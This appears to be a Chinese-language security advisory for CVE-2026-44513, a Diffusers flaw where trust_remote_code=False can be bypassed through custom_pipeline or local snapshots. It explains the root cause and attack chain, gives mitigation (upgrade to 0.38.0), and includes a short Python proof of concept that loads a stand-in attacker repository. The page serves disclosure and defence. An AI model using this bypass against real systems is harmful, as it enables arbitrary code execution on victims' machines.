IPBUF安全漏洞报告
English
CVE-2026-44513 CVSS 8.8 高危

CVE-2026-44513: Diffusers trust_remote_code绕过致RCE

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-44513
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Diffusers

相关标签

RCE远程代码执行DiffusersHugging FaceCVE-2026-44513trust_remote_code bypass

漏洞概述

Diffusers是一个预训练扩散模型库。在0.38.0版本之前,`DiffusionPipeline.from_pretrained`存在安全绕过漏洞。尽管用户设置了`trust_remote_code=False`,攻击者仍可通过特定的代码路径绕过该检查,导致任意远程代码执行。该漏洞源于安全门禁被置于`download()`方法内部,任何跳过该下载流程的操作(如使用本地路径或指定自定义远程管道)都会导致安全检查失效。该问题已在0.38.0版本中修复。

技术细节

该漏洞的根本原因在于安全门禁`trust_remote_code`被错误地实现在`DiffusionPipeline.download()`方法内部,而非在实际执行动态模块代码的站点。这种设计缺陷意味着任何能够绕过或短路`download()`逻辑的代码路径,都能顺带绕过安全检查。具体利用方式包括三种变体:首先,通过指定`custom_pipeline`参数指向攻击者的恶意仓库,系统仅检查主仓库的白名单,却加载并执行了恶意仓库的`pipeline.py`;其次,利用本地路径加载模型时,代码逻辑完全跳过`download()`方法,导致`trust_remote_code=False`的检查从未触发;最后,当本地快照中包含引用了自定义组件(如`unet/my_unet_model.py`)的配置时,系统直接加载并执行这些组件代码,同样未经过安全验证。攻击者利用此漏洞可在受害者机器上实现远程代码执行。

攻击链分析

STEP 1
1. 准备恶意代码
攻击者创建一个包含恶意pipeline.py或自定义组件的恶意代码仓库(例如attacker/repoB)。
STEP 2
2. 构造攻击载荷
攻击者诱导受害者使用Diffusers库,并调用from_pretrained方法,利用custom_pipeline参数指向恶意仓库,或使用包含恶意引用的本地快照。
STEP 3
3. 绕过安全检查
由于安全检查逻辑缺陷,当系统加载custom_pipeline或处理本地路径时,跳过了download()方法内的trust_remote_code验证。
STEP 4
4. 执行任意代码
Diffusers库从远程或本地加载并执行攻击者提供的Python代码,导致受害者系统被控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-44513: Diffusers trust_remote_code bypass # Variant 1: Bypass using custom_pipeline pointing to attacker's repo from diffusers import DiffusionPipeline # The check evaluates 'benign_repo', but loads code from 'attacker/repo' try: pipe = DiffusionPipeline.from_pretrained( "benign_user/safe-model", # repoA custom_pipeline="attacker/malicious-pipeline", # repoB trust_remote_code=False # Expected to block remote code ) print("[+] Exploit successful: Remote code executed from attacker's repo.") except Exception as e: print(f"[-] Error: {e}") # Variant 2: Bypass using local path and remote custom pipeline # The local path skips the download() method entirely try: pipe = DiffusionPipeline.from_pretrained( "/path/to/local/snapshot", custom_pipeline="attacker/malicious-pipeline", trust_remote_code=False ) print("[+] Exploit successful: Remote code executed via local path bypass.") except Exception as e: print(f"[-] Error: {e}")

影响范围

Diffusers < 0.38.0

防御指南

临时缓解措施
建议立即将Diffusers库升级到0.38.0或更高版本。在无法升级的情况下,应避免使用from_pretrained加载不可信的模型,特别是不要使用custom_pipeline参数加载外部代码,并严格审查本地加载的模型快照中包含的文件及配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表